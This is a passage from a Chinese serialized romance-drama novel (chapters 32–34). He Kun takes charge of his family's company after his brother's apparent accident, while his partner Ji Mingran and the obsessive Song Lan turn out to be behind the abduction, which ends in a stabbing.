想起这个许久不见的男人,他又想到了两人最后一次见面,是在会所的高层包间里。 复古调的氛围,金黄的酒浆,真名陈琛,还有最后严肃的警告以及承诺。 贺琨慢慢将照片归拢,看着最上面那张照片出神。 这张则是在青芜涯,好像是一个什么姓蒋的员工闹事。 纪明冉陪他出差,还在独独在那天来接他下班。 照片明显是从密林里面拍下的,纪明冉贴在他耳后,眼中满是宠溺,口中似乎在说着什么。 贺琨不理解,拧着眉心,背对着书房门。丝毫未察,就在他走神之时,身后有黑影悄然靠近。 长臂蓦地环上腰间,贺琨吓得心口剧烈跳动了几下,连忙按下心中的不明情绪。 直到熟悉的香味萦绕鼻尖,他才渐渐恢复急促地呼吸。 “你今天回来得很早,忙完了吗?” 纪明冉下颌轻抵贺琨的肩窝,淡淡扫过怀中人手中的那叠照片。 转而阴沉地盯着贺琨,带着不容挣脱的占有欲,似乎要从贺琨脸上找出些情绪的痕迹。 纪明冉故意不解释,只回答表面的问题:“今天不忙,提前回来。” 贺琨觉得自己真是昏了头了,想这么多不如直接问,真是被那些人忽悠了,他转身将饱含爱意的吻落在来人的薄唇上。 举起手中的照片,横在两人中间:“这是什么呀?” 纪明冉低头,表情如同才发现这叠照片,有些惊讶。 “嗯?当时我和你刚同居,出手拦了些报道,都是买断的照片,我看拍得挺好,没丢。” 贺琨看着那张他们还没未同居,甚至有陈深出镜。 这段说辞是那么的可疑,以冉冉的聪慧,明明可以说得更圆满。 恶意夹杂,漏洞百般,像是期待被发现什么。 可是他现在生活得很幸福,为什么要发现什么,贺琨低着头,痴痴站着,缓缓眨了眨眼睛。 “阿琨?阿琨?怎么了,身体不舒服吗?” 纪明冉弯腰低头,看着出神的贺琨温柔地询问。 “啊,没事,我就是觉得有些饿了。” 贺琨将照片随手夹进书里,看也没看,便将书送进了书柜中。 周四,是个吉日。 恒辉集团,大会议室。 贺琨作为古建开发评估专组代表,坐在光感柔和的讲台上,深色的西装极为合身,熨帖得没有一丝褶皱,整个人显得修长挺拔。 他用指节叩了叩麦克风,目光沉静扫过台下,带着惯常的冷冽。 “截至昨日,小山口历保项目前期准备已落实完毕,批准落地施工。” 贺琨微微停顿,垂眸扫过演讲稿,金丝眼镜在顶灯下闪过冷光。 “秉持核心范围修缮最小干预原则,新建、扩建、改建的建筑,应在体量、立面、材料等方面与历史建筑相协,最大限度保留” 读稿完毕后,贺琨关闭话筒,和纪明冉相视而笑,接下来是轮到冉冉主持总结。 纪明冉随之打开座位前的话筒。 “感谢各位近段时间的付出,各区段负责人注意,即日起,小山口项目正式转至实际施工阶段。” 话音落下的刹那,前排口袋别着钢笔的老工程师率先鼓掌,随后掌声像潮水般漫过阶梯,越上讲台。 耳畔掌声阵阵,震得人胸腔发麻,未来似乎光明,而且有迹可循。 贺琨看向纪明冉,发现对方也注视着他。 眉眼里盛满淡淡的喜悦,微微侧身靠近他,用只有两人能懂的气音说:“今晚吃不吃红烧肉?” 话毕,还不着痕迹地亲昵地眨了眨眼睛。 贺琨呼吸一窒,顿时眸光流彩,扬起笑容认真点头。 可惜,变化永远比计划快。 贺琨没能吃上纪明冉口中的红烧肉。 临近下班时,纪明冉接到了一通陌生电话,表情严肃,随后转身离去。 贺琨只好先回家,这样的事很正常,纪明冉手中并非只有小山口开发一个项目。 论起纪明冉每日能有多忙,除了助理肃山,贺琨就是体会最深刻的人了。 —— 首都,玺桦餐厅,七号包间,满地狼藉。 “到底要怎样,嗯?宋榄,到底怎样你才满意?” 贺青峰坐在被清空的餐厅里,从揉皱的西服外套中掏出烟盒,可颤抖的手怎么无法将火点燃。 宋榄握住贺青峰的手腕,扣出金属打火机,不徐不急地将火叶点燃,两人眼中映出火苗底端阴蓝的光。 “我说过,那个男人对你心怀不轨,你为什么要和他单独吃饭。” “我也说过,宋榄,只是简单的生意往来。” 宋榄靠近贺青峰,点燃香烟,两人之间顿时烟雾弥漫,谁也不肯低头。 很快,香烟燃尽。 贺青峰起身,掩住内心的痛苦,冷漠道:“他出事,你就坐牢去吧。” “不准走,”宋榄赤红着眼睛抬头,“我说,站住!” 贺青峰踏出去的步伐停滞,忽然觉得好累,他不应该试图去改变任何人。 不对,是最开始就不该一而再,再而三地给宋榄机会。 明明不是两人刚恋爱时不是这样的。 记忆中可爱但贴心的青年,和身后残暴阴郁的疯子,完全就是两个人。 贺青峰深呼吸,还是觉得应该体面些。 “宋榄,结束吧,这段感情对于我们来说,已经是负担了不是吗?” “家里的承诺书,连抽屉都已堆不下了,但你依旧控制不住自己,比如今天,如果我没有阻止,你要对赵先生做什么?” “可是,我真的在改啊,你说过”宋榄神情固执而深情。 贺青峰直接打断:“我看不见,也感觉不到,我建议你去接受正规心理治疗。” “好,之前的捣乱我承认,可是今天晚上没忍住出手,真的不怪我,那个姓赵的,他绝对有问题。” 宋榄端起桌上的酒,捧着送到贺青峰面前,状若疯癫。 “峰哥,你闻,他下药了,真的!我看见了!” 宋榄想起那畜生电话中恶心的勾结,面目扭曲狰狞:“他还打电话,他说等你昏迷了,要叫很多人来强——” 贺青峰皱眉嗅着瓶口传来的正常酒味,怎么可能,这瓶酒是他亲自带来的,期间就没离开过他的视线。 他看着执迷不悟的宋榄,言辞越来越污秽。 反手将酒瓶砸碎在地,酒液顺着破碎的裂缝涓涓流出,一滴不剩。 “你,峰哥你,把它打翻了?” 宋榄眼中满是惊恐,最后能证明自己的证据,就在爱人的厌恶中销毁。 “就算如你所言,我依旧认为,你言行不当。” 宋榄蹲下身子去,能搂起一小捧酒液也好,尽管玻璃碴扎满五指,他却像丝毫没有痛觉似的。 贺青峰看着满地的酒液被鲜血冲红,拽住宋榄的胳膊将人提起来。 “够了,这不重要。” “你不相信我,你不相信我” 宋榄嗫嚅,视线还在往地上扫,像是那瓶酒被核实有问题,两人的关系就能回到从前。 贺青峰沟通无果,决绝转身。 咫尺之间,天涯万里。 宋榄看着离开的人,平复呼吸,很快,他心里又有了计划,于是启齿轻吐。 “贺青峰,你记住,我们生来,就是要属于彼此的。” 第32章 第三十二章陡生变故凌晨1点,沉睡…… 凌晨1点,沉睡的贺琨被一阵急促的电话铃声吵醒了,不好的预感升腾,他猛然睁开双眼。 窗外不见半分月色,狂风从缝隙钻进房间,怪诞的声响令人神经紧绷。 宽敞的大床上只有贺琨一人,属于纪明冉的位置空空如也,冰凉刺骨,应当是还没有回来过。 手机在床头柜上还在震动,发出刺眼的光,他出手捞起手机查看。 来电显示——冯平。 不好的预感更加浓烈,贺琨赶忙接起电话。 “二少,贺青峰先生昏迷不醒、原因不明,目前已经住院接受治疗,贺家和集团需要您回来坐镇。” 越往后听,他越是眉头紧锁,什么叫“昏迷不醒、原因不明”。 贺琨没有继续在电话里寻问,而且立马吩咐冯平安排行程,情况突发,事态紧急,他要在天亮前赶到首都。 挂断电话后,贺琨火速穿戴整齐,按照冯平发送的行程信息,准备直奔机场。 不过几分钟的时间,外面已经落下了萧瑟的雨,他在玄关处快速拿起一把黑色的雨伞,换鞋转身离开。 等待电梯时,贺琨心有所感似地回头,在那扇逐渐闭合地门缝中,最后看向漆黑空荡的房间,恍惚不安。 深夜秋雨寒凉,直到走至室外,刺骨的寒风才将他从错乱中吹醒,贺琨站在台阶打了个哆嗦,抬手将风衣合得更严谨。 杂乱的思绪乱作一团,半刻未停。 很快,黑色的商务车抵达,路灯下的那抹黑色身影,随着车辆再次启动而消失。 细密的雨中,黑车迅速奔至道路尽头,只留下几片飞起的泛黄枯叶。 —— 凌晨4点,贺琨终于到了首都医院,因为一路上都在追赶时间,他的胸腔还在急促地起伏。 冯平接到他就往重症监护室走,拐过医院雪白的转角,他看见了熟悉的人,刘助理。 贺琨顺着刘助理的视线看去,尽管一路上都在进行心理建设,临了此刻,心防还是陡然崩塌。 病床上的人裹满白色绷带,几乎没有完好的皮肤,差点连氧气机接入的地方都没能留下,到*底是什么样的事故,可以将人摧残成这样。 贺琨不敢相信,他先是有些困惑地歪头,眉头轻轻地抽搐几下,似哭非笑。 他按压在透明的指尖白到几近透明,“是我哥?贺青峰?” 他想确认病床上,那位已然面目全非的人到底是谁。却没想到自己开口时,音调已经抖得不成样子,沙哑不清,像是从喉咙间溢出的呜咽。 刘助上前,状态也不是很好,双眼泛红,身上随便披着件外套,估计也是临时赶来,一夜未眠。 “是,贺先生今晚临时急事,单独开车出门,为了躲避突然出现的行人。” 他朝贺琨递出手中的报告,微微停顿,调整情绪,恢复平静后才继续汇报:“车辆撞到路边的隔离岛遇燃,已核验身份。” 贺琨接过报告,沉默翻看。白纸黑字,条理清晰,却依旧难以理解,连纸张也在他手中抖出模糊的白影。 “我坐会,椅子在哪。” 是爆炸导致的大面积烧伤,贺琨心口如同被细密的针扎过,浑身酸软得不行,甚至有些呼吸困难。他快速扫过病床上的身影,一秒都不敢停留,依旧无法接受。 前段时间还挺好的,他们约着吃饭,哥还说,等小山口任务结束,一起去选套别墅,当作新家。 贺家主宅那么旷、那么空,他和他哥从来都不喜欢。 贺琨将手中报告放在身侧,只想一个人安静地待会,最起码有喘息的余地。 可是天快亮了,刘助理和冯平将视线落在他身上,都等着他拿个主意。 贺琨强撑着站起来,压下心底的脆弱和迷茫,眼神变得决绝。 “封锁消息,召开发布会,做好对外公关工作,宣称哥哥因病疗养部分工作转至线上处理,部分移交至高层管理层。” 贺琨看向窗外,天空逐渐亮起,太阳却藏在层层阴云之后,压迫人心。 “必须反应迅速,抢在媒体报道前,统一内部口径,最大限度减少市场冲击,冯平带人明确好风险评估和应对预案。” “以及我的入职通报。” 青年终于变像位合格的领导者,从今天开始,他也必须是了。 医院天台,天色大白。 贺琨独自站在楼顶,就是这抹身影落在城市中,渺小得微不可见。 不用想也知道,现在只要打开手机,肯定都是铺天盖地的咨询,关于迅科集团,关于哥,关于自己。 身后有人靠近,脚步落在地面,踩碎积水的声音渗进耳膜。 很快脚步声停下,脖颈后拂过温暖的气息。 黑色的伞檐从身后伸出,遮挡住了贺琨头顶的天空。 “入秋了,首都也。” 来人抬手擦拭贺琨身上的寒露,轻柔又怜惜。 贺琨听见熟悉的声音,滚烫的泪后知后觉,终于在此刻没有征兆地涌出,顺着他苍白的脸颊无声滑落,融入地面浅浅的雨水中。 “我哥对我很好。” 纪明冉没有劝慰,只是温柔回应:“嗯。” “小时候,家里很空,我好害怕,他就坐在床头,给我讲故事,从四岁讲到六岁。” “爸妈不常回家,他们死的时候,我没怎么伤心,我还有我哥。” “冉冉,我只有哥哥了。” 纪明冉眼中闪过一丝挣扎,很快消失不见。 身前的人肩膀微微震颤,却始终一声不吭,不愿意被人看见。 雨势逐渐变大,两人的轮廓交融,在雨幕中若隐若现。 身后的风衣已经湿成一片,纪明冉依旧沉默地举着伞,陪贺琨站在首都的第一场秋雨中。 —— 时间一天天流逝,虽然有刘助的全力相助,贺琨依旧忙得焦头烂额。 部分坚定站队贺青峰的高层管理员目前保持中立,也有些伺机而动,在贺琨和贺家旁支的一位长辈间左右摇摆。 谁都想在这场突变中,挖下一块肥美的“肉”。 而这场没有硝烟的战争,贺琨完全沦落为劣势方。 关于商场,他没有任何经营的经验。上一世忙着赛车摩托,这辈子则全身心扑进了设计中去。 但是对手则完全相反,那位旁支长辈贺荣炜已经在商场厮杀多年,经验丰富、手段老辣。 尽管在普通人看来,贺琨已经算得上青年俊才,进步神速。 但是又如何呢?还不够。 谁会在争分夺秒抢占先机的时代,主动停下脚步,围着贺琨这位小少爷夸赞,等着他慢慢成长。 大家只是冷眼旁观,等着看贺荣炜会选在何时出手,漂亮地推翻这位挂着名头的、不谙世事的单纯小少爷。 贺琨在首都的常住地原本位于仟华设计院附近的别墅区。 但是现在他几乎每天都要去公司,索性在靠近集团总部的地方重新找了新的居所,纪明冉偶尔得空时,便会过来。 只是现在两人都很忙,更多的时候都是在你来我走的错位时间里。 贺琨一边吃着速食早餐,一边飞速敲击屏幕,回复消息。 面色愈发不爽,他将手中的咖啡杯重重地放回餐桌,敲出刺耳的脆响。 “啧,疯了吧。” 他揉了揉眉心,眼睛的酸胀极为明显。昨天晚上凌晨三点才处理完工作,今天早上还要提前去公司,开完公司的会,立马就要去另一个重要的交流会。 贺荣炜还常常添乱,每天总要给贺琨闹点烦心事。 冯平已经在楼下等待,贺琨无奈地长叹,拿起外套准备出门,再难干也得干。 贺琨可不想等他哥醒来,发现什么都没有了。 如今集团能有更高站位和更理想的发展,都是贺青峰的心血,在他哥醒来前,他必须守好这一切。 贺琨推门,电梯正好到本层,这是一梯一户房型。 电梯门缓缓打开,熟悉的人走出来,他的眼睛一下子亮起来,笼罩了整早的阴霾就这样轻轻散开。 纪明冉本来是赶着来陪贺琨吃顿早餐,却没想还是来晚一步。 “豆浆,喝吗?” 贺琨满是惊喜的模样很乖,他心口轻跃,不由弯起眉眼,举起手中两提被打包的纸杯,整个人充满生活的烟火味。 宋榄已经按照计划远走。 这是贺琨最脆弱的时候,也是迅科最容易内乱的阶段,纪明冉却一拖再拖,始终没有下定决心。 沉迷的人何止贺琨,他数着倒计时,贪恋最后单纯的柔情。 有时候,纪明冉甚至病态地期待由贺琨来揭穿这一切。 届时,贺琨会是什么表情?会像个淋了雨的可怜小狗吗? 明明造成伤害的人是自己,贺琨还依旧会缩进他的怀里,揉碎那副高傲外表,轻轻地,可怜地说:“哥哥没有了,我只有你了,冉冉。” “冉冉?你怎么过来了?”贺琨快步走到他面前,看着手腕上的表盘。 想象中的声音和现实交叠,贺琨什么都不知道,就只知道“冉冉”“冉冉”的唤,能有什么错呢。 纪明冉狭长的眼微垂,遮住流过不明神色的浅金眸光。 他抬起修长的手指,带着秋天的凉意,划过贺琨的脸颊,再悠悠地描上薄唇,停顿几秒,低声蛊惑。 “叫我。” 贺琨感觉到氛围的暧昧,看了看右上角的监控,虽然是自己安装的,还是有种莫名的羞耻感。 可是他听纪明冉的话。 “冉,唔—” 话音戛然而止,时隔半月,两人再次吻到彼此。 贺琨看着突然靠近的青年,满眼爱意,甚至舍不得错开视线,直到唇间传来湿润的感觉,他红着脸赶紧闭上眼,就像是在掩耳盗铃。 他享受着来之不易的亲昵,直到纪明冉的手拉开他的领结。 贺琨脑海中突然划过贺荣炜的脸,那个老男人的标志就是只带深蓝色的领带,上面永远别着银色的领带夹。 他猛地推开纪明冉,看了看时间:“不行,我要去上班了。” 第33章 第三十三章盒中对戒索吻被打断,心…… 索吻被打断,心情很不好。 车辆行驶在宽敞的大道上,纪明冉面无表情地扶着方向盘,送贺琨上班。 因为提前出门,路上还算不上太拥挤。 而原本在楼下等着接贺琨的冯平,被派去办其他事了。 贺琨坐在副驾驶位上,捧着暖和的豆浆,侧眼飞速地看了看纪明冉,对方没什么表情。 他收回视线,脑海里过了好几百个话题,嘴里却说不出一句,贺琨内疚,他好像搞砸了。 纪明冉没有说话,安静地开车。 贺琨觉得胸口沉闷,于是打开车窗,夹杂着清晨寒凉的气流快速涌进车内。 他不知道怎么办,装作若无其事地打开副驾驶位置前的储物夹,试图想出些办法来,却意外看见一个典雅的镶玉木质对戒盒。 贺琨愣住,隐约感觉自己似乎闯了塌天大祸,心跳极速加快,他慌忙失措地将储物夹合上。 心中有个隐约的猜想,顾不上早晨的插曲,贺琨满心欢喜起来,连嘴角不由自主地微微上弯。 冉冉竟然已经为两个人打算了那么多?但会不会进展太快了? 贺琨很无所谓,他喜欢纪明冉很多年很多年,可是在纪明冉的视角他们才相识不到一年。 纪明冉怎么可以暗自这么喜欢他,外表还那么冷漠。 贺琨满心愧疚,觉得自己对纪明冉太坏了。 “送礼。” 贺琨沉浸在胡思乱想中,一下没反应过来:“啊?” “盒子是礼物,送朋友的。”纪明冉看着前方道路,不紧不慢地说。 心跳瞬间停滞,随后是漫长的酸涩,他就说,怎么可能。 两个人的关系,几乎都是他强求来的,怎么敢想。 贺琨扯起嘴角,刻意正常地笑笑:“这样啊,我就是觉得这个盒子好好看。” 他应该开心的,纪明冉开口说话了,应该是不生气了。 可是贺琨开心不起来,鸦羽般的睫毛微垂,很快遮住眼中的情绪。 他害怕纪明冉发现异常,扭头看向车窗外快速后移的景色。 冷风呼啸,还在往车内吹,纪明冉放下左手,在总控处将副驾驶位置的车窗关闭。 贺琨又不得不收回视线,注意力回到车内。 迅科总部很快就到,纪明冉在路边将车稳稳停下,门锁自动弹开。 贺琨深吐一口气,语调轻松道:“那我上班去了,改天见。” 不说准确日期,其实是连下一次见面是什么时候都不知道。 “改天见。” 他听见纪明冉的回复,握在车门柄的手不由加重了力道。 与上一世赤裸的偏爱截然不同,可能是身份带来的影响,这一世纪明冉情绪内敛,难以捕捉。 他总是这样安静而宁和,无论遇到何事,都不会有什么太大的起伏。 除了亲密时的索取,以及偶尔暧昧的言语外,什么都没有。 寻常情侣的无可自拔、情不自禁只在贺琨身上存在。 而纪明冉更像在表演完美的伴侣,而不是成为鲜活的恋人。 他会在某个早晨惊喜出现,带来一份早餐,也会在事后体贴地将所有做得巨细无遗,还会穿着家居服站在同居的公寓里做饭。 但唯独没有那份情绪。 “冉冉,我们算情侣了吗?” 贺琨忍住想要逃离的步伐,重新坐回车内,看着街道上来往穿行的人流,刻意不去看纪明冉。 他表达不出来自己的想法,只能换成这样的问法,声音几不可闻,位卑而谨慎。 纪明冉终于回头,注视着再次回到副驾驶位置上的人,没有遗漏任何微小的细节,包括贺琨小心翼翼到,略比寻常放缓的呼吸。 “我以为我们已经是了。” 肯定的回答从纪明冉口中说出,贺琨悬着的心放下,开始调节自己的情绪。 想是近期压力过大,纪明冉那么忙还来见他,他不应该这样的。 贺琨偏过身子,闭上眼,将一枚郑重的吻落到纪明冉的唇角。 “对不起,不该把你推开的。” “我最近也很想你。” 道歉是为早晨电梯门口的事,贺琨说完第二句话,冷峻的面容泛起薄红,快速转身离开。 —— 大厦内部,会议室。 只剩1分钟即将开会,决策层们西装革履,安静地翻阅着桌面上提前准备好的会议材料。 贺荣炜低头看了眼时间,7点59分。 “好了,看来我们的小少爷睡过头了,哪像我们这些,生来都是操心的命,准备开会吧。” 深蓝色领带上,银色夹子在会议室的白光下泛出光锐,贺荣炜满眼和善,眉梢含笑,只是开个不经意的玩笑话罢了,主要目的还是调节会前沉闷的氛围。 会议室的安静被打破,有的人挂起笑容符合,有的摇摇头满脸鄙夷,都总算有了点人味。 贺荣炜说完便换上严肃的表情,正襟危坐,威严睿智的模样,“关于——” 刚被关闭的会议室门突然被推开,一位年轻干练的青年出现,黑色西服裁剪得体,上眼睑遮去小半瞳仁,冷茶色瞳仁像是冻在冰里的墨玉。 “刚好8点,荣炜叔年纪大,性子也急了,有些地方可不兴赶着去。” 贺琨提着简约的笔记本电脑包走进室内,投影屏幕上的时间正好跳转到早晨08:00,回以同样的玩笑。 这是咒他赶死呢。 贺荣炜见到他本来就不开心,听见贺琨争锋相对的讥讽更是面色阴沉。 他嘴角向下,似是染上几分怒意,但众目睽睽之下,到底还是把笑容挂住了。 贺琨走到自己的位置落座,将笔记本电脑打开,很快连接上投影,落落大方地直接发言。 “今天开会只为一件事,会议材料已经发放到各位手中,想来大家会前已经提前了解。” 会议助理将准备好的风险评估报告投放在幕布上,各项数据一目了然。 “我认为值得推进。” 贺琨之所以能够如此笃定,是因为这是贺青峰在车祸前花费了巨大精力规划的项目。 或许他对市场的敏锐性确实还不能追赶上在座的这群领导者,但是贺琨相信他哥。 贺琨继续讲解,几分钟过后,属于贺青峰派系的那几位高层基本同意,并未过多发言。 会议室一时陷入了安静。 毕竟做首位站出来反对的人,总是需要些勇气的。 此时,坐在靠中间的一位男人看了眼贺荣炜的脸色,拿起材料指出: “该项目市场渗透率不足,投入预估超出预算,按照过往的经验,我认为不能投入过多精力,在贺总回来前最好暂时压下。” “市场面向的是未来,不能总在过去的账本上打算盘吧。” 贺琨指尖敲了敲桌面,西装袖口滑落半寸,露出金属色腕表,他看了看时间。 眉骨的阴影压着眼眸,透过金丝边眼镜扫视众人。 氛围有些紧张,刚才还在翻动文件的会议助理下意识攥紧了手中的钢笔。 贺荣炜本来是认真地分析着手中的材料,闻言忽然抬头一笑,灯光落在他斑白的鬓角上。 “年轻人,就是火气大。” 明明是公事公办的场合,贺荣炜总是要把年龄资历拿出来压人。 有意无意地给众人塑造出一种贺琨只是个头脑简单、情绪高涨的愣头青,单纯任性的有钱少爷。 他的方法确实有用,本来还在中立的几位开始面露难色,僵持很快打破,先是位年长的男人开口:“确实,风险过大。” 坐在贺琨附近的女士翻阅会议材料,几秒后将笔帽缓缓盖上,端起水杯轻饮半口。 “要是害怕风险,因此而畏手畏脚,倒不如早些退休,回家颐养天年。” 众人各抒己见,会议室内声音嘈杂,片刻之后又再次安静。 结果还是决定暂时搁置项目的人数占了上风,贺荣炜脸上的得意都快压不住了。 有人出来总结:“‘大家长’还在观望,没有扶持事情始终不好办,我看再等等合适的时机吧。” 贺琨正准备开口,桌面上的手机微微震动,冯平的消息已到。 那位戴眼镜的女士瞥了眼还在看手机的贺琨,不赞同地皱眉,但是她有自己的观点,于是再次发言。 “因果倒置,凡事只吃现成?别忘了,我们要做的是行业领头,不是跟风下水。” 会议室里只剩空调出风口的嗡鸣,有人下意识去看贺宋炜的脸色,隐约已经形成共识,似乎他才是最后敲板定音的人。 “这个项目非常出色,如果能成功迅科定能发展得更好,我承认青峰的能力,”贺荣炜沉吟片刻,眼角皱纹更甚,“但是没有支持确实很难推进,风险过大,我宣布暂时搁置。” 贺琨不急反笑,他缓缓勾起嘴角,贺荣炜上钩了。 贺荣炜等着看贺琨的笑话,却没想到贺琨反而笑起来,那个青年将一份电子文件传给会议助理,干净整洁的页面放大,完完全全地投放在幕布之上,每个字准确明晰。 官方文件,编号最新。 “既然最大的问题已经解决,那我想各位应该没有什么其他意见和建议了吧。” 贺琨出牌利落,攻其不备,对方措手不及。 戴眼镜的女士想起贺琨刚才的动作,恍然大悟,目光含笑,她抓准机会立马起势,以险胜拿下此局。 会议结束,项目继续。 下场交流会将在一个小时后开始,地址并不在讯科总部。冯平已经赶到停车场,贺琨下楼就可以出发。 在此之前,贺琨先回了趟办公室,想拿待会可能需要的扫描件。 他站在办公桌前翻找,很快出发时间到了,文件也终于被找出。 就在准备起身离开时,他的视线却不经意扫过办公桌右下角,那有个上锁的抽屉。 这个小抽屉,平时基本不用。 而那些需要保密的机密文件,贺琨很少会放在这么明显的地方。 但是今天,他总觉得那个抽屉不对劲,像是被什么东西魔怔似的,心中有种强烈的征兆,贺琨将指纹缓缓对准识别器。 “咔嚓——”机械锁解开。 第34章 第三十四章谋杀贺琨戒指盒,纯白丝…… 戒指盒,纯白丝绒,棱角圆润精巧,被宋榄握在手里。 R国乡间的一片绿草地上,小教堂静静伫立,彩绘玻璃窗滤下光斑,圣坛上的十字架闪耀着神圣的光辉,带着岁月磨损的木质长椅凌乱不堪。 新婚夫夫被捆在了角落,视线受阻,看不见大堂的具体情况,也不敢随意发出声音。 神父站在台前宣读,身影发抖,额头缀满冷汗。 倒也自然,毕竟黑色的木仓口正对准他的太阳穴。 看得出来,这是场精心布置的温馨婚礼,本来很热闹,还有亲友祝福,是属于角落里那对年轻夫夫的,但现在所有人都被吓跑了,除了跑不掉的。 所以目前在场的人不多了,5个。 贺青峰如同看客,听着神父将祷词念完,宋榄拿出戒指,郑重地套进他的无名指,又为自己带上。 “放我回去,重新办婚礼。” “你骗我。” 宋榄不指望贺青峰会说出【我愿意】,他直接跳过环节,将戒指套在了贺青峰手上,满意地笑笑。 贺青峰这几天一直被蒙住眼睛赶路,宋榄口风紧,无论怎么套话,都不知道目的地是哪里。 今天应该才是行至中途,不知道宋榄又抽什么疯,将他抱下了车,再睁眼就是现在的情形。 但是想到这个人是宋榄,对此行为,他毫无惊讶。 “你把别人的婚礼毁了。” “哦,他们可以改天再办。” 贺青峰无语地扯扯嘴角,宋榄在他的饮食中下药,这几天他一直昏昏沉沉的,对时间没有概念。 “距离我出车祸那晚几天了?你没把贺琨怎么样吧?” “贺琨贺琨贺琨,你怎么每天都在想贺琨?现在我们在结婚呢!” 宋榄佯装生气,贺青峰习惯了,却把旁边的神父吓得不轻,手中的圣经啪地掉落在地上,打断了两人剑拔弩张的氛围。 贺青峰微侧半步,拦在宋榄与年迈的神父身之间,意思不言而喻。 毕竟宋榄的思维跳跃,什么时候会“疯”起来,不能凭借逻辑分析。 “呵呵,”宋榄看着贺青峰下意识的举动笑了笑,在彩色玻璃透出的高饱和光下线,透着青春纯洁的少年感,“别紧张嘛,我只是想帮您捡起来。” 宋榄弯腰将圣经捡起,抖了抖灰,从钱夹里掏出所有纸币,厚厚一叠,慢条斯理地将其夹进书中,笑着递给老神父。 老神父没敢接,宋榄耸耸肩,将书本丢到旁边的小台面上,烛台翻倒,火叶很快开始吞噬桌面上的一切。 “好吧,回去吧。”宋榄转身拉住贺青峰往外走,强硬地将两人的手十指相扣。 金属戒指冷硬的触感膈得人心里不适,贺青峰终于忍无可忍,混着发颤的呼吸,甩脱宋榄,后退两步。 “你以为带上这可笑的东西,就算结婚?呵,”贺青峰站在小教堂前,“恐怕上帝只会绕着你这执迷不悟的疯子走。” 他将戒圈取下,砸进草地中,直往远处的小镇走。 宋榄看着那枚在银色的戒指躺在草地中,陡然拔高音量。 “贺青峰!你扪心自问,你真的如表面那般正义吗?想回去找贺琨?他可是贺郝舟的儿子!你忘了,你忘记你父母是怎么死的了?” “想想你躲避贺郝舟追杀时,在黑暗里逃窜的日子,那些像阴沟老鼠般卑贱耻辱,那些不见光日的时光,你能忘得了吗?” 宋榄看着那抹背影脚步不停,继续道:“当初,你要把7岁的贺琨捂死在枕头——” 贺青峰离开的脚步终于停下,他愣在原地,指尖颤抖,再次看向宋榄的眼神是质疑的、破碎的。 宋榄扬起得逞笑容,快步走上前,将愣住的贺青峰按进怀中,满含迷情的眼神如有实质,慢慢舔过贺青峰的躯体。 “不会了,以后你有我,我有你,只有我才明白你啊。” “我永远保护你,没有人可以伤害你。” 贺青峰在宋榄一句一句的保证中软下身子,似乎被打动得放弃抵抗,他顺从地依上宋榄的肩头:“真的吗?永远?” 宋榄压住内心的狂喜,修长的手指拨弄着怀中人乌黑的发,时轻时重,若有似无,满怀温柔:“我发誓,永远。” “噗嗤——” 冰冷的锐器没入**的声音,贺青峰握着餐刀微旋,不属于自己的血液溅到脸颊,惹得他睫毛轻颤,却始终不减力道。 宋榄眉头紧压,眼神仍旧不愿从贺青峰身上移开半寸。 他单手捂住小腹,闷哼两声,痛意如潮水般袭上心口,有些喘不上气。 数日后,国内。 迅科集团大厦,贺琨的办公室。 一封邮件,安静地躺在抽屉中,纯白色封面。 神秘而恐怖。 贺琨脑海中闪过很多猜测,这也许是个恶作剧,也许内里空空,还有有可能藏着一个足以改变人生的秘密。 他伸手进入抽屉中,将这份邮件拿起来拆开,好真相大白。 “嗡嗡嗡——” 手机响起来电提示,贺琨注意力被转移,他转头查看时间,确实快来不及了,于是顺手将邮件塞进电脑包中,连忙赶往停车场。 —— 纪明冉坐在车内,抬手摸了摸贺琨离开时落吻的位置,微微失神。 几秒后,他侧过身体,拉开副驾驶位前的夹层,取出贺琨看见的那个小玉盒。 轻柔拨开精巧的锁扣,两枚素色的男士戒圈安静地卡在柔软的丝绸上。 阴云压城,明明是早晨,城市却被笼在黑暗中,车窗外又淅淅沥沥地下起小雨。 纪明冉眼神晦暗不明,他从中取出一枚缓缓戴上,圈口合适,正好环住中指。 不是朋友礼物,借口拙劣,只是他还未决定是否要将这枚戒指为贺琨戴上。 车窗被敲响,纪明冉将戒指取下,将戒盒放回原位。 窗外是一位执法着装的人员。 “先生,雨天交通不便,请尽快离开。” 车窗降下,带着咸湿的秋风吹进车内,纪明冉变回光风霁月的纪先生,他朝车窗外的执法人员十分歉意地笑笑。 “不好意思,给您们添麻烦了,马上离开。” 但任由纪明冉也没想到,此次和贺琨一别就是小半月,两人交错出差,竟是连半日都未抽出来。 中秋佳节,CBD大屏循环播放着满是节日氛围的视频,雪白可爱的兔子蹦上蹦下的。 贺琨偷了半日闲,他拿出冯平买的月饼礼盒,取出枚桂花奶香味的月饼,咬下一口,拍了张照片发进了他和纪明冉的对话框。 【节日快乐,想吃月饼吗?】 他将信息发送完毕,又细细尝了尝剩下的小半块,奶香四溢,还夹杂着淡淡的桂花香气,偶尔吃一次非常可口。 贺琨将手机翻来覆去地按亮又熄灭,纪明冉却迟迟没有回复消息。 房间空荡又安静,他靠在沙发上数着钟表上的时间,难得空闲,却不知道要做什么了。 纪明冉应该在西郊和家人聚餐吧,原本往年这个时候,他应该也是和他哥在一起的。 贺琨有些茫然不安,他走到门口换鞋,准备去疗养院看望哥哥,坐一会也是好的。 为了完善落实对外宣称的信息,前段时间,媒体焦点转移后,贺琨便连忙将贺青峰转移到私人疗养院中接受治疗,医疗设备和治疗团队也都找了最好的。 所以,贺琨看望他哥都是去疗养院,而不是医院了。 — 纪明冉从纪家出来已经是晚上8点,查看手机消息后,直接叫肃山开车去贺琨的住处,没想到却扑空了。 房间内漆黑一片,他打开灯走进客厅坐下,桌上月饼礼盒显然就是贺琨照片里的那个品牌。 纪明冉不爱吃甜食,只是淡淡扫了一眼。 几分钟后,一双修长的手落到了精美的礼盒上,没几下便取出枚相同口味的月饼,送入口中品尝。 贺琨还没到家,他慢慢咀嚼口中的食物,边查看信息。 【先生,贺青峰的助理刘嘉兴十分难缠,他听从贺二先生的安排暗自开展调查,如今已经摸到了些车祸相关的线索。】 【还不是时候,清理干净。】 纪明冉有些失神,他看着手机屏幕的亮度渐渐熄灭,耳边突然传来贺琨的声音。 “纪明冉!” 贺琨从疗养院回来,手中提着个电脑包,前段时间更换新的后,本来打算处理了这个。 结果因为太忙了,就一直落在车内,刚才发现里面还装着东西,索性提回家里。 他本以为今天家里只有自己,开门时却发现屋内已经温暖又明亮,鞋都没换,立马转进客厅。 来的人,真的是纪明冉。 